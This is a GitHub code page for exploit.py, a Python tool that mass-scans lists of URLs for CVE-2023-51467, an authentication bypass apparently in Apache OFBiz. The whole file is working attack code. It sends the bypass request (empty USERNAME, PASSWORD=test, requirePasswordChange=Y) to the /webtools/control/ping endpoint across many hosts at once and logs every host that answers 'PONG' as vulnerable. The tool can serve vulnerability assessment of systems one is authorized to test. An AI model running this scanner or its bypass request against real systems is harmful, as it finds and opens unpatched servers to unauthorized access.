-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit.py
118 lines (102 loc) · 3.94 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import os
import argparse
import requests
import concurrent.futures
from threading import Lock
from rich.console import Console
from typing import List, Optional
from urllib.parse import urlparse
from alive_progress import alive_bar
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()
class CVE_2023_51467:
def __init__(self, urls: List[str], threads: int, output_file: str):
self.urls = urls
self.threads = threads
self.output_file = output_file
self.file_lock = Lock()
def check_url(self, base_url: str) -> Optional[str]:
parsed_url = urlparse(base_url)
schemes = ["http", "https"] if not parsed_url.scheme else [parsed_url.scheme]
for scheme in schemes:
url = f"{scheme}://{parsed_url.netloc}{parsed_url.path}"
if self.is_url_accessible(url):
return url
return None
def is_url_accessible(self, url: str) -> bool:
try:
response = requests.head(url, verify=False, timeout=5, allow_redirects=True)
return response.status_code < 500
except requests.RequestException:
return False
def scan_url(self, base_url: str):
target_url = self.check_url(base_url)
if target_url:
try:
response = requests.get(
f"{target_url}/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y",
verify=False,
timeout=10,
allow_redirects=True,
)
if response.status_code == 200 and "PONG" in response.text:
console.log(
f"Vulnerable URL found: {base_url}, Response: {response.text.strip()}"
)
vulnerable_url = f"{urlparse(target_url).scheme}://{urlparse(target_url).netloc}\n"
with self.file_lock:
with open(self.output_file, "a") as file:
file.write(vulnerable_url)
except Exception as e:
console.log(f"Error scanning {base_url}: {e}")
def run(self):
with alive_bar(len(self.urls), enrich_print=False) as bar:
with concurrent.futures.ThreadPoolExecutor(
max_workers=self.threads
) as executor:
future_to_url = {
executor.submit(self.scan_url, url): url for url in self.urls
}
for _ in concurrent.futures.as_completed(future_to_url):
bar()
def main():
script_name = os.path.basename(__file__)
parser = argparse.ArgumentParser(
description="CVE-2023-51467 Scanner: Scans URLs for a specific vulnerability associated with CVE-2023-51467.",
epilog=f"Example usage:\n"
f" python {script_name} -u http://example.com\n"
f" python {script_name} -f urls.txt -o output.txt -t 50",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument("-u", "--url", help="Single URL to send GET request to")
parser.add_argument(
"-f", "--file", help="File containing list of base URLs to scan"
)
parser.add_argument(
"-o",
"--output",
default="output.txt",
help="File to write vulnerable systems to",
)
parser.add_argument(
"-t",
"--threads",
type=int,
default=10,
help="Number of concurrent threads to use",
)
args = parser.parse_args()
urls = []
if args.file:
with open(args.file, "r") as file:
urls = [line.strip() for line in file]
elif args.url:
urls.append(args.url)
else:
console.log("No URL or file provided")
return
scanner = CVE_2023_51467(urls, args.threads, args.output)
scanner.run()
if __name__ == "__main__":
main()